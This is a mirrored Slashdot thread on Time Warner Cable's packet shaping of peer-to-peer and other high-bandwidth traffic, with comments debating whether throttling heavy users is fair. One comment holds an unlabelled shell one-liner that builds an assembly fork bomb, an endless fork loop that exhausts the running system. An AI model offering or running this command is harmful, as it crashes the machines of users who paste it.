Slashdot Mirror
Time Warner Cable Implements Packet Shaping
RFC writes "In a move that may be indicative of modern ISP customer service, Time Warner has announced the introduction of packet shaping technology to its network. 'Packet shaping technology has been implemented for newsgroup applications, regardless of the provider, and all peer-to-peer networks and certain other high bandwidth applications not necessarily limited to audio, video, and voice over IP telephony.' As the poster observes, this essentially renders premium service useless. The company is already warning users that attempts to circumvent these measures is a violation of their Terms of Service."
Consider the Pizza Hut salad bar. At the moment, people eat around the same amount of salad at the all you can eat salad bar - maybe the greedy ones eat 2x as much as average, so it sort of works out.
But imagine if a tiny minority cleaned out the salad bar each day - they actually had an infinite capacity for salad. Now the other, less greedy customers start to complain. You can buy more salad, and that's what the greedy customers will suggest. But remember that in this example the greedy customers will use all the salad there is - BitTorrent is designed to saturate pipes. It will use all the additional bandwidth you give it.
So you have a small minority who are basically infintely greedy and using resources to the point where people who use the service to read email are starting to complain. At this point, you might was well implement traffic shaping. The greedy customers can then either live with the restriction or leave for your competitors, but that's no loss.
Sooner or later of course, your competitors will have to implement traffic shaping too. It's better to sacrifice the greedy minority to ensure service continues to be satisfactory to the non greedy majority.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What the f.... kind of ratio is that? Here's the two biggest providers in Norway, ranging from 2.5:1 (2500/1000 at NGT) to 23:1 (16000/700 at Telenor) with most in the 5:1-10:1 range. 50:1 would be completely ridiculous and useless for anything but web browsing! And yes, they prerty much deliver that too.
Live today, because you never know what tomorrow brings